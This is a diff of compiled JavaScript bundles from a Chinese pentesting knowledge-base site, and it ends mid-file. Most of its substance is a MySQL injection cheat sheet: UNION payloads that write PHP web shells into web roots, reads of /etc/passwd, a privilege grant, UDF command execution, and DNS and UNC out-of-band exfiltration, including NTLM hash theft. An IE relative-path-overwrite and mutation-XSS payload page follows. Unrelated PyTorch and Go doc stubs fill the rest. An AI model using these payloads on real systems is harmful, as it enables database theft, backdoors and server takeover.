sharik\n(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u5f53\u524d\u67e5\u8be2",children:"MYSQL \u5f53\u524d\u67e5\u8be2"}),"\n",(0,l.jsx)(n.p,{children:"\u8be5\u8868\u53ef\u4ee5\u5217\u51fa DB \u76ee\u524d\u6b63\u5728\u6267\u884c\u7684\u6240\u6709\u64cd\u4f5c\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #\n\n-- Dump in one shot example for the table content.\nunion select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9",children:"MYSQL \u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9"}),"\n",(0,l.jsxs)(n.p,{children:["\u9700\u8981 ",(0,l.jsx)(n.code,{children:"filepriv"}),"\uff0c\u5426\u5219\u60a8\u5c06\u5f97\u5230\u9519\u8bef\uff1a ",(0,l.jsx)(n.code,{children:"ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"' UNION ALL SELECT LOAD_FILE('/etc/passwd') --\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60a8\u5728\u6570\u636e\u5e93\u4e0a\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u67e5\u8be2\u91cd\u65b0\u542f\u7528 ",(0,l.jsx)(n.code,{children:"LOAD_FILE"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u7f16\u5199\u4e00\u4e2a-shell",children:"MYSQL \u7f16\u5199\u4e00\u4e2a shell"}),"\n",(0,l.jsx)(n.h3,{id:"\u8fdb\u5165\u5916\u573a\u6cd5",children:"\u8fdb\u5165\u5916\u573a\u6cd5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"[...] UNION SELECT \"<?php system($_GET['cmd']); ?>\" into outfile \"C:\\\\xampp\\\\htdocs\\\\backdoor.php\"\n[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'\n[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\\\wamp\\\\www\\\\pwnd.php'-- -\n[...] union all select 1,2,3,4,\"<?php echo shell_exec($_GET['cmd']);?>\",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5",children:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'\n[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u622a\u65ad",children:"MYSQL \u622a\u65ad"}),"\n",(0,l.jsxs)(n.p,{children:["\u5728 MYSQL \u4e2d\uff0c\u201c ",(0,l.jsx)(n.code,{children:"admin "}),"\u201d\u548c\u201c ",(0,l.jsx)(n.code,{children:"admin"}),"\u201d\u662f\u76f8\u540c\u7684\u3002\u5982\u679c\u6570\u636e\u5e93\u4e2d\u7684 username \u5217\u6709\u5b57\u7b26\u9650\u5236\uff0c\u5219\u4f1a\u622a\u65ad\u5176\u4f59\u5b57\u7b26\u3002\u56e0\u6b64\uff0c\u5982\u679c\u6570\u636e\u5e93\u7684\u5217\u9650\u5236\u4e3a 20 \u4e2a\u5b57\u7b26\uff0c\u5e76\u4e14\u6211\u4eec\u8f93\u5165\u4e86\u4e00\u4e2a\u5305\u542b 21 \u4e2a\u5b57\u7b26\u7684\u5b57\u7b26\u4e32\uff0c\u5219\u6700\u540e 1 \u4e2a\u5b57\u7b26\u5c06\u88ab\u5220\u9664\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"`username` varchar(20) not null\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6709\u6548\u8f7d\u8377\uff1a ",(0,l.jsx)(n.code,{children:'username = "admin a"'})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u5feb\u901f\u5229\u7528",children:"MYSQL \u5feb\u901f\u5229\u7528"}),"\n",(0,l.jsxs)(n.p,{children:["\u8981\u6c42\uff1a ",(0,l.jsx)(n.code,{children:"MySQL >= 5.7.22"})]}),"\n",(0,l.jsxs)(n.p,{children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"json_arrayagg()"})," \u800c\u4e0d\u662f\uff0c\u8fd9\u6837\u53ef\u4ee5\u663e\u793a\u66f4\u5c11\u7684\u7b26\u53f7"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"group_concat\uff08\uff09=1024 \u4e2a\u7b26\u53f7"}),"\n",(0,l.jsx)(n.li,{children:"json_arrayagg\uff08\uff09>16000000 \u4e2a\u7b26\u53f7"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-udf-\u547d\u4ee4\u6267\u884c",children:"MYSQL UDF \u547d\u4ee4\u6267\u884c"}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\uff0c\u60a8\u9700\u8981\u68c0\u67e5 UDF \u662f\u5426\u5b89\u88c5\u5728\u670d\u52a1\u5668\u4e0a\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"$ whereis lib_mysqludf_sys.so\n/usr/lib/lib_mysqludf_sys.so\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7136\u540e\u60a8\u53ef\u4ee5\u4f7f\u7528\u8bf8\u5982 ",(0,l.jsx)(n.code,{children:"sys_exec"})," \u548c ",(0,l.jsx)(n.code,{children:"sys_eval"})," \u4e4b\u7c7b\u7684\u529f\u80fd\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"$ mysql -u root -p mysql\nEnter password: [...]\nmysql> SELECT sys_eval('id');\n+--------------------------------------------------+\n| sys_eval('id') |\n+--------------------------------------------------+\n| uid=118(mysql) gid=128(mysql) groups=128(mysql) |\n+--------------------------------------------------+\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u5e26\u5916",children:"MYSQL \u5e26\u5916"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"select @@version into outfile '\\\\\\\\192.168.0.100\\\\temp\\\\out.txt';\nselect @@version into dumpfile '\\\\\\\\192.168.0.100\\\\temp\\\\out.txt\n"})}),"\n",(0,l.jsx)(n.h3,{id:"dns-\u5916\u8fc7\u6ee4",children:"DNS \u5916\u8fc7\u6ee4"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"select load_file(concat('\\\\\\\\',version(),'.hacker.site\\\\a.txt'));\nselect load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))\n"})}),"\n",(0,l.jsx)(n.h3,{id:"unc-\u8def\u5f84-ntlm-\u54c8\u5e0c\u7a83\u53d6",children:"UNC \u8def\u5f84-NTLM \u54c8\u5e0c\u7a83\u53d6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"select load_file('\\\\\\\\error\\\\abc');\nselect load_file(0x5c5c5c5c6572726f725c5c616263);\nselect 'osanda' into dumpfile '\\\\\\\\error\\\\abc';\nselect 'osanda' into outfile '\\\\\\\\error\\\\abc';\nload data infile '\\\\\\\\error\\\\abc' into table database.table_name;\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf",children:"MySQL \u5e26\u5916\u9ed1\u5ba2\u653b\u51fb-@OsandaMalith"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/",children:"[Sqli] \u5728\u4e0d\u77e5\u9053\u5217\u540d\u7684\u60c5\u51b5\u4e0b\u63d0\u53d6\u6570\u636e-Ahmed Sultan@0x4148"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://rdot.org/forum/showpost.php?p=114&postcount=1",children:"MySQL \u6ce8\u5c04\u5668\u5e2e\u52a9-rdot.org"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://resources.infosecinstitute.com/sql-truncation-attack/",children:"SQL \u622a\u65ad\u653b\u51fb-Warlock"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://hackerone.com/reports/508123",children:"\u9ed1\u5ba2\u4e00\u53f7 @ajxchapman 50 \u7c73 ctf \u5199\u4f5c-Alex Chapman@ajxchabman"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://sqlwiki.netspi.com/injectionTypes/errorBased",children:"SQL Wiki-netspi"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100",children:"kokoparty \u7f51\u7edc 100"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://websec.ca/kb/sql_injection#MySQL_Default_Databases",children:"WebSec-MySQL-Roberto Salgado-2013 \u5e74 5 \u6708 29 \u65e5\u3002"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/7a4a1c51.e554e26f.js b/assets/js/7a4a1c51.e554e26f.js new file mode 100644 index 0000000..18112ef --- /dev/null +++ b/assets/js/7a4a1c51.e554e26f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8916],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},86460:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/README","title":"\u7b2c\u96f6\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PyTorch","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/"},"next":{"title":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2"}}');var r=n(74848),l=n(28453);const c={},i="\u7b2c\u96f6\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u7b2c\u96f6\u7ae0",children:"\u7b2c\u96f6\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u7b2c\u96f6\u7ae0\u524d\u7f6e\u77e5\u8bc6",children:"\u7b2c\u96f6\u7ae0\uff1a\u524d\u7f6e\u77e5\u8bc6"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2\n0.2 \u8bc4\u4ef7\u6307\u6807\n0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60\n0.4 Jupyter\u76f8\u5173\u64cd\u4f5c\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/7bd6eb69.014e4ceb.js b/assets/js/7bd6eb69.014e4ceb.js new file mode 100644 index 0000000..5df3de3 --- /dev/null +++ b/assets/js/7bd6eb69.014e4ceb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[648],{13441:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>a,default:()=>d,frontMatter:()=>l,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","title":"02.XSSWithRelativePathOverwrite.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/02.XSSWithRelativePathOverwrite.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/02.XSSWithRelativePathOverwrite.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular"},"next":{"title":"SSRF\u6f0f\u6d1e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/"}}');var s=n(74848),i=n(28453);const l={},a="02.XSSWithRelativePathOverwrite.md",o={},c=[{value:"\u6d4f\u89c8\u5668 IE8/IE9 \u7684\u53d8\u5f02 XSS",id:"\u6d4f\u89c8\u5668-ie8ie9-\u7684\u53d8\u5f02-xss",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function h(e){const t={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"02xsswithrelativepathoverwritemd",children:"02.XSSWithRelativePathOverwrite.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 09:51:19"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u5177\u6709\u76f8\u5bf9\u8def\u5f84\u8986\u76d6\u7684-xss-ie-89-\u53ca\u66f4\u4f4e\u7248\u672c",children:"\u5177\u6709\u76f8\u5bf9\u8def\u5f84\u8986\u76d6\u7684 XSS-IE 8/9 \u53ca\u66f4\u4f4e\u7248\u672c"}),"\n",(0,s.jsx)(t.p,{children:"\u60a8\u9700\u8981\u8fd9 3 \u4e2a\u7ec4\u4ef6"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-javascript",children:"1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}\n2) URL Rewriting.\n3) Relative addressing to CSS style sheet : ../style.css\n"})}),"\n",(0,s.jsx)(t.p,{children:"\u4e00\u4e2a\u5c0f\u4f8b\u5b50"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-html",children:'http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]\n<html>\n<head>\n<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />\n<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />\n</head>\n<body>\nStored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}\n</body>\n</html>\n'})}),"\n",(0,s.jsx)(t.p,{children:"\u6f0f\u6d1e\u7684\u89e3\u91ca"}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"Meta \u5143\u7d20\u5f3a\u5236 IE \u7684\u6587\u6863\u6a21\u5f0f\u4e0e\u6267\u884c\u8868\u8fbe\u5f0f\u6240\u9700\u7684 IE7 \u517c\u5bb9\u3002\u6211\u4eec\u7684\u6301\u4e45\u6587\u672c\uff5b\uff5d * \uff5b xss:expression\uff08open\uff08alert\uff081\uff09\uff09\uff09\u5305\u542b\u5728\u9875\u9762\u4e0a\uff0c\u5728\u5b9e\u9645\u60c5\u51b5\u4e0b\uff0c\u5b83\u5c06\u662f\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6\u9875\u9762\uff0c\u6216\u8005\u53ef\u80fd\u662f\u5176\u4ed6\u7528\u6237\u53ef\u4ee5\u67e5\u770b\u7684\u5171\u4eab\u72b6\u6001\u66f4\u65b0\u3002\u6211\u4eec\u4f7f\u7528\u201copen\u201d\u6765\u9632\u6b62\u91cd\u590d\u6267\u884c\u8b66\u62a5\u7684\u5ba2\u6237\u7aef DoS\u3002\n\u4e00\u4e2a\u7b80\u5355\u7684\u201crpo.php/\u201d\u8bf7\u6c42\u4f7f\u76f8\u5bf9\u6837\u5f0f\u5c06\u9875\u9762\u672c\u8eab\u52a0\u8f7d\u4e3a\u6837\u5f0f\u8868\u3002\u5b9e\u9645\u7684\u8bf7\u6c42\u662f\u201c/labs/xss_horror_show/chapter7/rpo.php/styles.css\u201d\uff0c\u6d4f\u89c8\u5668\u8ba4\u4e3a\u8fd8\u6709\u53e6\u4e00\u4e2a\u76ee\u5f55\uff0c\u4f46\u5b9e\u9645\u7684\u8bf7\u6c42\u88ab\u53d1\u9001\u5230\u6587\u6863\uff0c\u8fd9\u672c\u8d28\u4e0a\u5c31\u662f rpo \u653b\u51fb\u7684\u5de5\u4f5c\u65b9\u5f0f\u3002"}),"\n"]}),"\n",(0,s.jsxs)(t.p,{children:["\u6f14\u793a 1 \u4f4d\u4e8e ",(0,s.jsx)(t.code,{children:"http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php"})," \u6f14\u793a 2 \u4f4d\u4e8e ",(0,s.jsx)(t.code,{children:"http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3"})," \u591a\u6d4f\u89c8\u5668\uff1a"]}),"\n",(0,s.jsxs)(t.p,{children:["\u53d1\u4ef6\u4eba\uff1a ",(0,s.jsx)(t.code,{children:"http://www.thespanner.co.uk/2014/03/21/rpo/"})]}),"\n",(0,s.jsx)(t.h2,{id:"\u6d4f\u89c8\u5668-ie8ie9-\u7684\u53d8\u5f02-xss",children:"\u6d4f\u89c8\u5668 IE8/IE9 \u7684\u53d8\u5f02 XSS"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-javascript",children:"<listing id=x><img src=1 onerror=alert(1)></listing>\n<script>alert(document.getElementById('x').innerHTML)<\/script>\n"})}),"\n",(0,s.jsx)(t.p,{children:"IE \u5c06\u591a\u6b21\u8bfb\u53d6\u548c\u5199\u5165\uff08\u89e3\u7801\uff09HTML\uff0c\u653b\u51fb\u8005 XSS \u8d1f\u8f7d\u5c06\u53d1\u751f\u53d8\u5f02\u5e76\u6267\u884c\u3002"}),"\n",(0,s.jsx)(t.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsx)(t.li,{children:(0,s.jsx)(t.a,{href:"TODO",children:"TODO"})}),"\n"]})]})}function d(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>a});var r=n(96540);const s={},i=r.createContext(s);function l(e){const t=r.useContext(i);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function a(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),r.createElement(i.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/7c3efdf8.4209649a.js b/assets/js/7c3efdf8.4209649a.js new file mode 100644 index 0000000..6fd90f6 --- /dev/null +++ b/assets/js/7c3efdf8.4209649a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9173],{28453:(n,e,t)=>{t.d(e,{R:()=>d,x:()=>c});var s=t(96540);const r={},i=s.createContext(r);function d(n){const e=s.useContext(i);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:d(n.components),s.createElement(i.Provider,{value:e},n.children)}},41108:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>l,contentTitle:()=>c,default:()=>h,frontMatter:()=>d,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","description":"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/14.GoLang-\u7ed3\u6784\u4f53.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/14.GoLang-\u7ed3\u6784\u4f53.md","tags":[],"version":"current","sidebarPosition":14,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Redis","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis"},"next":{"title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305"}}');var r=t(74848),i=t(28453);const 